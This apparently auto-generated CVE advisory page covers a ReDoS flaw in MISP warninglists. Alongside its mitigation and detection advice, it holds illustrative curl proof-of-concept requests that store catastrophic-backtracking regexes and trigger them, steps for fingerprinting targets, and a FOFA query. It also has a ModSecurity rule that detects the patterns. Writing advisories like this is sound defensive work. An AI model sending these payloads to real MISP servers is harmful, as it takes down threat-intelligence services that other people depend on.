CVE Professor
/
All CVEs
CVE-2026-135256

CVE-2026-135256 — MISP — CWE-400

HIGH CVSS 7.1 Shodan

MISP contains a Regular Expression Denial of Service (ReDoS) vulnerability in its Warninglist feature. Warninglist entries of type "regex" are evaluated against attribute values without any backtracking limit. An authenticated user with permission to add or import warninglist entries can supply a crafted regular expression pattern that triggers excessive backtracking in the PCRE engine, causing sustained CPU consumption and denial of service. Additionally, imported warninglists were not validated for syntactic correctness before replacing existing entries, allowing malformed or malicious patterns to be persisted and later evaluated without prior rejection. Preconditions: - An authenticated account with the ability to create, edit, or import warninglist entries (users below site-admin level can add entries). - The target MISP instance has at least one warninglist of type "regex" that will be evaluated against incoming attribute values. Impact: - Sustained CPU exhaustion leading to denial of service for all users of the MISP instance. - Potential for cascading performance degradation on shared infrastructure. Affected versions: MISP prior to 2.5.52.

MISP contains a Regular Expression Denial of Service (ReDoS) vulnerability in its Warninglist feature. Warninglist entries of type "regex" are evaluated against attribute values without any backtracking limit. An authenticated user with permission to add or import warninglist entries can supply a crafted regular expression pattern that triggers excessive backtracking in the PCRE engine, causing sustained CPU consumption and denial of service. Additionally, imported warninglists were not validated for syntactic correctness before replacing existing entries, allowing malformed or malicious patterns to be persisted and later evaluated without prior rejection. Preconditions: - An authenticated account with the ability to create, edit, or import warninglist entries (users below site-admin level can add entries). - The target MISP instance has at least one warninglist of type "regex" that will be evaluated against incoming attribute values. Impact: - Sustained CPU exhaustion leading to denial of service for all users of the MISP instance. - Potential for cascading performance degradation on shared infrastructure. Affected versions: MISP prior to 2.5.52.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. Low PR:L
User Interaction None UI:N
Vuln. Conf. None VC:N
Vuln. Integrity None VI:N
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Regular Expression Denial of Service (ReDoS) flaw classified under CWE-400: Uncontrolled Resource Consumption. The core technical issue lies in the MISP Warninglist feature, specifically when handling entries of type regex.

The Technical Flaw:
1. Unbounded Backtracking: MISP uses the PCRE (Perl Compatible Regular Expressions) engine to evaluate warninglist patterns against incoming attribute values. The application fails to impose a backtracking limit or timeout on the regex evaluation process.
2. Lack of Input Validation: When a user imports or creates a warninglist entry, the system does not validate the syntactic correctness or complexity of the regular expression before persisting it. This allows "catastrophic backtracking" patterns to be stored in the database.
3. Trigger Mechanism: Once a malicious regex is persisted, any subsequent attribute value that partially matches the pattern triggers excessive backtracking in the PCRE engine. This results in sustained, high-CPU consumption by the PHP worker processes, effectively starving the application of resources.

CVSS 4.0 Analysis:

  • AV:N / PR:L: The attack is network-based and requires low privileges (an authenticated user with permission to manage warninglists).

  • VA:H (Availability High): The primary impact is a complete denial of service due to CPU exhaustion.

  • VC:N / VI:N: There is no direct impact on confidentiality or integrity of the data itself, only the availability of the service.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Fingerprinting: The attacker identifies the target as a MISP instance. This can be done via:
  • * Checking the X-Powered-By header or specific MISP API endpoints (e.g., /api/attributes/index). * Reviewing the version string in the UI footer or via the /api/servers/index endpoint (if accessible).
  • Privilege Verification: The attacker confirms their account has the warninglist.add or warninglist.edit permission. In many MISP deployments, analysts and triagers have these permissions by default.
  • 2. Exploitation

    The attacker crafts a regular expression known to cause catastrophic backtracking. A classic example is (a+)+$ or (a|a)+$. When this pattern is tested against a string like aaaaaaaaaaaaaaaaaaaaa!, the PCRE engine explores an exponential number of paths.

    Illustrative PoC (Curl):
    Note: The exact API endpoint for adding a warninglist entry may vary slightly based on MISP version and API version (v2 vs v3). The following is an illustrative example of the logical flow.

    # 1. Authenticate and obtain an API key (assuming standard MISP auth)
    # 2. Create a malicious warninglist entry
    curl -X POST "https://<misp-instance>/warninglists/add" \
      -H "Authorization: <API_KEY>" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "Malicious Regex Test",
        "type": "regex",
        "comment": "Test entry",
        "entries": [
          {
            "value": "(a+)+$",
            "description": "Catastrophic backtracking pattern"
          }
        ]
      }'

    Alternative: Importing a malicious warninglist file
    If the API allows importing a JSON/YAML warninglist file, the attacker can upload a file containing the malicious regex:

    {
      "name": "Malicious List",
      "type": "regex",
      "entries": [
        {
          "value": "(a|a)+$",
          "description": "DoS"
        }
      ]
    }

    Triggering the DoS:
    Once the malicious regex is persisted, the attacker (or any user) creates an attribute that triggers the evaluation. For example, adding an attribute of type text with the value aaaaaaaaaaaaaaaaaaaaa!.

    # Trigger the DoS by adding an attribute that matches the malicious regex
    curl -X POST "https://<misp-instance>/attributes/add" \
      -H "Authorization: <API_KEY>" \
      -H "Content-Type: application/json" \
      -d '{
        "value": "aaaaaaaaaaaaaaaaaaaaa!",
        "type": "text",
        "to_ids": false
      }'

    Note: The exact parameter names (value, type, etc.) are standard for MISP API v2/v3, but the specific route /warninglists/add is illustrative. The core mechanism is the persistence of the regex and its subsequent evaluation against an attribute.

    3. Post-exploitation

  • Sustained CPU Exhaustion: The PHP-FPM workers processing the attribute creation get stuck in the regex evaluation loop. CPU usage spikes to 100% on the MISP server.
  • Service Degradation: As more attributes are processed or if the malicious regex is part of a frequently evaluated list, the MISP instance becomes unresponsive.
  • Cascading Failure: If MISP is integrated with other SIEMs or threat intelligence platforms via API, the timeouts and failures can propagate, causing downstream systems to lag or fail.
  • No RCE: This is a pure DoS vulnerability. There is no code execution, data exfiltration, or privilege escalation. The attacker cannot gain further access, only disrupt service.
  • 🌍 Real World Impact

  • Availability (High): The primary impact is a complete denial of service. MISP is a critical component in many SOC (Security Operations Center) workflows. A DoS on MISP halts threat intelligence sharing, incident response coordination, and automated alerting.
  • Confidentiality (None): No data is leaked.
  • Integritiy (None): No data is modified or corrupted.
  • *Practical Consequences for Affected Environments: *SOC Disruption: Analysts cannot view new alerts, update cases, or share IOCs. *Automated Pipeline Failure: Integrations with Splunk, Elastic, or other SIEMs may timeout, leading to data loss or delayed detection. *Reputation Damage: If MISP is used for external threat intelligence sharing, a DoS can disrupt information sharing with partners. *Resource Waste: Sustained CPU usage can lead to increased cloud costs or hardware wear.

    🛡️ Remediation & Mitigation

    1. Upgrade (Primary Fix)

  • Affected Versions: MISP prior to 2.5.52.
  • Remediation: Upgrade to MISP 2.5.52 or later. The fix likely includes:
  • * Validation of regex patterns for catastrophic backtracking (e.g., using a regex safety library or limiting pattern complexity). * Implementation of a timeout or backtracking limit on the PCRE engine (e.g., using pcre_exec with PCRE_EXEC_TIMEOUT or similar PHP pcre.backtrack_limit and pcre.recursion_limit adjustments). * Pre-validation of imported warninglists to reject syntactically incorrect or overly complex patterns.

    2. Workarounds (If Immediate Upgrade is Not Possible)

  • Disable Regex Warninglists: If feasible, disable the use of regex type warninglists. Use exact or cidr types instead, which are less prone to ReDoS.
  • Action:* Review existing warninglists and remove or convert any regex entries.
  • Restrict Permissions: Revoke warninglist.add and warninglist.edit permissions from non-admin users. Only allow site-admins to manage warninglists.
  • Action:* In MISP, go to Administration > Users and adjust roles/permissions.
  • WAF/ModSecurity Rule: While WAFs cannot easily detect malicious regex patterns in JSON payloads, you can restrict the size of warninglist entries or block known malicious patterns if they are static. However, this is not a robust solution for ReDoS.
  • Example ModSecurity Rule (Illustrative):*
    SecRule REQUEST_BODY "@rx (a\+|\|a)\+" "id:100001,phase:2,deny,status:403,msg:'Potential ReDoS pattern in warninglist'"

    Note: This rule is highly specific and may produce false positives. It is not a comprehensive fix.

  • PHP Configuration: Adjust PHP pcre.backtrack_limit and pcre.recursion_limit to lower values to force early termination of complex regex evaluations.

  • Example:*

    pcre.backtrack_limit = 100000
            pcre.recursion_limit = 10000

    Note: This may break legitimate complex regexes but can mitigate ReDoS.

    3. Detection

  • Web Server Logs: Look for unusually long request durations for /attributes/add or /warninglists/add endpoints.
  • Log Pattern:* POST /attributes/add 200 120.5s (indicating a request that took over 2 minutes).
  • System Metrics: Monitor CPU usage of PHP-FPM processes. A sustained spike in CPU usage without a corresponding increase in network traffic is a strong indicator of ReDoS.
  • Tool:* top, htop, or Prometheus/Grafana dashboards for PHP-FPM CPU metrics.
  • MISP Audit Logs: Review MISP's internal audit logs for recent additions or imports of warninglists, especially those of type regex.
  • Action:* Query the warninglists and warninglist_entries tables in the MISP database for recent changes. SQL Example:*
    SELECT * FROM warninglist_entries WHERE type = 'regex' AND created > NOW() - INTERVAL 1 DAY;
  • IoCs:
  • * Regex patterns containing nested quantifiers like (a+)+, (a|a)+, ([a-z]+)+. * Unusually large warninglist imports. * Sudden increase in CPU usage on the MISP server.

    ⚠️ Urgency

  • CVSS Score: 7.1 (HIGH)
  • CISA KEV: No
  • Exploit Complexity: Low (requires only a crafted regex and an authenticated account with warninglist permissions).
  • Patching Priority: High
* Reasoning: While not in CISA KEV, the vulnerability is easily exploitable by any authenticated user with moderate privileges. In many MISP deployments, analysts have these permissions. A DoS on MISP can have significant operational impact on a SOC. * Recommendation: Patch within 7 days. If the MISP instance is internet-facing or used for critical threat intelligence sharing, patch within 48 hours. * Immediate Mitigation: If patching is delayed, restrict warninglist management permissions to admins only and monitor CPU usage closely.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="MISP MISP"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-135256
CVSS Score
7.1 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (1)
MISP:MISP
References & Advisories (1)
Related CVEs
4.7
CVE-2026-144581
validator.js 13.15.22 through 13.15.35 contains a protocols allowlist bypass in isURL() that misparses javascr
0.0
CVE-2026-142879
In the Linux kernel, the following vulnerability has been resolved: mm/migrate: snapshot the source nid befor
8.7
CVE-2026-137408
In Eclipse Yasson versions 1.0 through 1.0.11, 2.0 through 2.0.4, and 3.0 through 3.0.6, the deserializers for
8.7
CVE-2026-145034
Zebra before 7.1.0 contains a denial of service vulnerability that allows a single malicious P2P peer to halt
8.7
CVE-2026-144815
A flaw has been found in EZVIZ CS-C2C and CS-C6c 5.3. This impacts an unknown function of the component RTSP S
7.5
CVE-2026-145085
pypdf before 7.1.1 does not enforce cross-reference stream entry limits when parsing PDFs with hybrid cross-re
7.5
CVE-2026-144817
A vulnerability was found in EZVIZ CS-C2C and CS-C6c 5.3. Affected by this vulnerability is an unknown functio